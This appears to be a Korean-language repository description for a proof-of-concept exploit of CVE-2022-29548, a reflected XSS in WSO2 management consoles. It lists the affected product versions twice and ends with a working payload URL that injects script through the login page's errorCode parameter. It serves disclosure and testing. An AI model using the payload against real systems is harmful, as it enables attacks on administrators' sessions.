cxosmo/cve-2022-29548CVE-2022-29548에 대한 개념 증명(PoC) 익스플로잇: 여러 WSO2 제품의 관리 콘솔(Management Console)에 반사형 XSS 취약점이 존재합니다. 이 취약점은 API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 및 4.0.0, API Manager Analytics 2.2.0, 2.5.0 및 2.6.0, API Microgateway 2.2.0, Data Analytics Server 3.2.0, Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0 및 6.6.0, IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0 및 5.10.0, Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0 및 5.11.0, Identity Server Analytics 5.5.0 및 5.6.0, WSO2 Micro Integrator 1.0.0에 영향을 미칩니다.
CVE-2022-29548에 대한 개념 증명 익스플로잇: 여러 WSO2 제품의 관리 콘솔에서 반사형 XSS 문제가 존재합니다. 이는 다음 제품에 영향을 미칩니다: API Manager 2.2.0, 2.5.0, 2.6.0, 3.0.0, 3.1.0, 3.2.0 및 4.0.0; API Manager Analytics 2.2.0, 2.5.0 및 2.6.0; API Microgateway 2.2.0; Data Analytics Server 3.2.0; Enterprise Integrator 6.2.0, 6.3.0, 6.4.0, 6.5.0 및 6.6.0; IS as Key Manager 5.5.0, 5.6.0, 5.7.0, 5.9.0 및 5.10.0; Identity Server 5.5.0, 5.6.0, 5.7.0, 5.9.0, 5.10.0 및 5.11.0; Identity Server Analytics 5.5.0 및 5.6.0; 그리고 WSO2 Micro Integrator 1.0.0.
WSO2 API Manager 4.0.0https://localhost:9443/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//